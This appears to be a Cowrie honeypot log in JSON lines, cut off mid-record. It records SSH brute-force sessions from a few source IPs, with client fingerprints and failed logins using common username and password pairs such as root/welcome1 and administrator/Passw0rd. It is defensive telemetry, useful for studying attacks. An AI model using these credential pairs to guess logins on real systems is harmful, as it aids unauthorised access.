{"eventid":"cowrie.session.closed","duration":31.096507787704468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:46.076977Z","src_ip":"72.167.226.244","session":"91aac66a8269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36466,"dst_ip":"10.17.0.5","dst_port":22,"session":"53091594766b","protocol":"ssh","message":"New connection: 45.156.87.253:36466 (10.17.0.5:22) [session: 53091594766b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:46.878613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:46.882039Z","src_ip":"45.156.87.253","session":"53091594766b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:46.962294Z","src_ip":"45.156.87.253","session":"53091594766b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:47.204301Z","src_ip":"45.156.87.253","session":"53091594766b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:48.435728Z","src_ip":"45.156.87.253","session":"53091594766b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58222,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b7e48cd60fc","protocol":"ssh","message":"New connection: 45.156.87.253:58222 (10.17.0.5:22) [session: 7b7e48cd60fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:50.184614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:50.187269Z","src_ip":"45.156.87.253","session":"7b7e48cd60fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:50.267550Z","src_ip":"45.156.87.253","session":"7b7e48cd60fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:50.509832Z","src_ip":"45.156.87.253","session":"7b7e48cd60fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:51.593033Z","src_ip":"45.156.87.253","session":"7b7e48cd60fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58238,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1848937406c","protocol":"ssh","message":"New connection: 45.156.87.253:58238 (10.17.0.5:22) [session: d1848937406c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:53.578961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:53.582583Z","src_ip":"45.156.87.253","session":"d1848937406c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:53.662869Z","src_ip":"45.156.87.253","session":"d1848937406c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:53.904559Z","src_ip":"45.156.87.253","session":"d1848937406c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:54.989823Z","src_ip":"45.156.87.253","session":"d1848937406c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58240,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac038f89531b","protocol":"ssh","message":"New connection: 45.156.87.253:58240 (10.17.0.5:22) [session: ac038f89531b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:56.891334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:56.895557Z","src_ip":"45.156.87.253","session":"ac038f89531b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:56.976547Z","src_ip":"45.156.87.253","session":"ac038f89531b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:57.218778Z","src_ip":"45.156.87.253","session":"ac038f89531b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:58.313163Z","src_ip":"45.156.87.253","session":"ac038f89531b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41898,"dst_ip":"10.17.0.5","dst_port":22,"session":"e606ff978608","protocol":"ssh","message":"New connection: 45.156.87.253:41898 (10.17.0.5:22) [session: e606ff978608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:00.211567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:00.215520Z","src_ip":"45.156.87.253","session":"e606ff978608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:00.377069Z","src_ip":"45.156.87.253","session":"e606ff978608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:00.675681Z","src_ip":"45.156.87.253","session":"e606ff978608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60618,"dst_ip":"159.203.135.109","dst_port":22,"session":"76a65f9ecf6e","protocol":"ssh","message":"New connection: 194.59.206.2:60618 (159.203.135.109:22) [session: 76a65f9ecf6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:01.003124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:01.006798Z","src_ip":"194.59.206.2","session":"76a65f9ecf6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:01.095582Z","src_ip":"194.59.206.2","session":"76a65f9ecf6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:01.189823Z","src_ip":"194.59.206.2","session":"76a65f9ecf6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:01.763182Z","src_ip":"45.156.87.253","session":"e606ff978608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41906,"dst_ip":"10.17.0.5","dst_port":22,"session":"a080f1408a73","protocol":"ssh","message":"New connection: 45.156.87.253:41906 (10.17.0.5:22) [session: a080f1408a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:03.746778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:03.750633Z","src_ip":"45.156.87.253","session":"a080f1408a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:03.832312Z","src_ip":"45.156.87.253","session":"a080f1408a73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:04.088217Z","src_ip":"45.156.87.253","session":"a080f1408a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:05.173574Z","src_ip":"45.156.87.253","session":"a080f1408a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41910,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e63a757a53c","protocol":"ssh","message":"New connection: 45.156.87.253:41910 (10.17.0.5:22) [session: 3e63a757a53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:07.047040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:07.050712Z","src_ip":"45.156.87.253","session":"3e63a757a53c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:07.131187Z","src_ip":"45.156.87.253","session":"3e63a757a53c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:07.373716Z","src_ip":"45.156.87.253","session":"3e63a757a53c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:08.456653Z","src_ip":"45.156.87.253","session":"3e63a757a53c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34996,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad62db68202f","protocol":"ssh","message":"New connection: 45.156.87.253:34996 (10.17.0.5:22) [session: ad62db68202f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:10.443270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:10.446590Z","src_ip":"45.156.87.253","session":"ad62db68202f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v